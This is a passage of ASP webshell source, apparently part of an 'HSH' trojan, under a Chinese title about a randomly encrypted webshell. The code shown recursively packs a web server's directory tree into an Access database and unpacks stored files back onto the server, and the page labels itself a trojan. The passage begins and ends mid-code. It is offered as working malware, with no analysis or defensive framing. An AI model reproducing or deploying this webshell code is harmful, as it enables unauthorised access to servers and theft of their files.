asp木马代码解密的随机加密webshell

S"<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & "\HSH.mdb"" size=80>"
RRS" <input type=hidden value=releaseFromMdb name=theAct><input type=submit value=''解开包''>"
RRS"<br><br>注: 解开来的所有文件都位于HSH木马同级目录下"
RRS"</form>"
End Sub

Sub addToMdb(thePath)
On Error Resume Next
Dim rs, conn, stream, connStr, adoCatalog
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject("ADODB.Connection")
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("HSH.mdb")
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
stream.Open
stream.Type = 1
rs.Open "FileData", conn, 3, 3
If Request("theMethod") = "fso" Then
fsoTreeForMdb thePath, rs, stream
Else
saTreeForMdb thePath, rs, stream
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing
End Sub

Function fsoTreeForMdb(thePath, rs, stream)
Dim item, theFolder, folders, files, sysFileList
sysFileList = "$HSH.mdb$HSH.ldb$"
If Server.CreateObject("Scripting.FileSystemObject").FolderExists(thePath) = False Then
showErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = Server.CreateObject("Scripting.FileSystemObject").GetFolder(thePath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
fsoTreeForMdb item.Path, rs, stream
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
Set files = Nothing
Set folders = Nothing
Set theFolder = Nothing
End Function

Sub unPack(thePath)
On Error Resume Next
Server.ScriptTimeOut=100000
Dim rs, ws, str, conn, stream, connStr, theFolder
str = Server.MapPath(".") & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";"
conn.Open connStr
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If Server.CreateObject("Scripting.FileSystemObject").FolderExists(str & theFolder) = False Then
createFolder(str & theFolder)
End If
stream.SetEos()
stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub

Sub createFolder(thePath)
Dim i
i = Instr(thePath, "\")
Do While i > 0
If Server.CreateObject("Scripting.FileSystemObject").FolderExists(Left(thePath, i)) = False Then
Server.CreateObject("Scripting.FileSystemObject").CreateFolder